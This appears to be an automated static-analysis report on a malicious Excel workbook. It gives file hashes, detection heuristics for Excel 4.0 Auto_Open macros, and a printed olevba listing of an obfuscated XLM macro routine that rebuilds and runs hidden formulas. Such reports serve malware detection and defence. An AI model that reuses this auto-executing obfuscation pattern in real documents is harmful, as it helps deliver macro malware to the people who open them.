Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 da70d0c521827fd2…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:25 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 4a8d59634890012aeea6d25391370823 SHA-1: 05166a7a1f82d914d3d0bcd9329569482aa802aa SHA-256: da70d0c521827fd223811d13e48a4640c051c60ccb28d01f155c7b51614aba02
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6608 bytes
SHA-256: 714dcf742ad7d79414421ef55ac44a2b4537fb22dbf0e79b855c03a38df0c55b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pzpWjl
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I139 
' 0018     22 LABEL : Cell Value, String Constant - BOZpFza len=0 
' 0018     21 LABEL : Cell Value, String Constant - BzLeZo len=0 
' 0018     26 LABEL : Cell Value, String Constant - EslLSXyVcNu len=0 
' 0018     21 LABEL : Cell Value, String Constant - eTNLwi len=0 
' 0018     24 LABEL : Cell Value, String Constant - etWEjiBkF len=0 
' 0018     27 LABEL : Cell Value, String Constant - fOwSUQKKJkrQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - GfkWdXVziFj len=0 
' 0018     22 LABEL : Cell Value, String Constant - gstGVsj len=0 
' 0018     25 LABEL : Cell Value, String Constant - ImEQKmDbck len=0 
' 0018     27 LABEL : Cell Value, String Constant - kbCjHVwOCABQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - Nwgez len=0 
' 0018     23 LABEL : Cell Value, String Constant - pjzBkJDY len=0 
' 0018     23 LABEL : Cell Value, String Constant - qWLlLfhG len=0 
' 0018     23 LABEL : Cell Value, String Constant - rTuglulR len=0 
' 0018     22 LABEL : Cell Value, String Constant - SljCBvt len=0 
' 0018     27 LABEL : Cell Value, String Constant - uoSXQdsrYzjz len=0 
' 0018     26 LABEL : Cell Value, String Constant - UOtBztFJSBC len=0 
' 0018     27 LABEL : Cell Value, String Constant - WDRuvHzQpHRE len=0 
' 0018     23 LABEL : Cell Value, String Constant - zkcGzvhj len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZQYTSQtBmW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pzpWjl,I59,"SET.NAME("gstGVsj",VALUE("0"))",""
'  pzpWjl,I61,"SET.NAME("SljCBvt",gstGVsj)",""
'  pzpWjl,I65,"SET.NAME("Nwgez",gstGVsj)",""
'  pzpWjl,I70,"SET.NAME("BzLeZo",COUNTA(kbCjHVwOCABQ))",""
'  pzpWjl,I73,"SET.NAME("qWLlLfhG",COUNTA(zkcGzvhj))",""
'  pzpWjl,I75,[],""
'  pzpWjl,I79,"SET.NAME("UOtBztFJSBC","")",""
'  pzpWjl,I81,"SljCBvt",""
'  pzpWjl,I84,"SET.NAME("etWEjiBkF",HLOOKUP("*",kbCjHVwOCABQ,SljCBvt,FALSE))",""
'  pzpWjl,I87,"fOwSUQKKJkrQ",""
'  pzpWjl,I91,"SET.NAME("rTuglulR",gstGVsj)",""
'  pzpWjl,I94,[],""
'  pzpWjl,I97,"rTuglulR",""
'  pzpWjl,I102,"WDRuvHzQpHRE",""
'  pzpWjl,I104,"eTNLwi",""
'  pzpWjl,I106,"pjzBkJDY",""
'  pzpWjl,I108,"SET.NAME("EslLSXyVcNu",VALUE(HLOOKUP("*",zkcGzvhj,pjzBkJDY,FALSE)))",""
'  pzpWjl,I113,"uoSXQdsrYzjz",""
'  pzpWjl,I118,"UOtBztFJSBC",""
'  pzpWjl,I121,"Nwgez",""
'  pzpWjl,I124,NEXT(),""
'  pzpWjl,I126,"ImEQKmDbck",""
'  pzpWjl,I129,"SET.NAME("f",INT(T(FORMULA(T(UOtBztFJSBC)&"",""&T(ImEQKmDbck)))))",""
'  pzpWjl,I131,"BOZpFza",""
'  pzpWjl,I135,NEXT(),""
'  pzpWjl,I137,RETURN(),""
'  pzpWjl,I163,"SET.NAME("GfkWdXVziFj",I59)",""
'  pzpWjl,I166,"kbCjHVwOCABQ",""
'  pzpWjl,I171,"SET.NAME("zkcGzvhj",R96C15)",""
'  pzpWjl,I173,"SET.NAME("BOZpFza",181)",""
'  pzpWjl,I176,"SET.NAME("ZQYTSQtBmW",9)",""
'  pzpWjl,I180,GfkWdXVziFj(),""
'  pzpWjl,I181,HALT(),""

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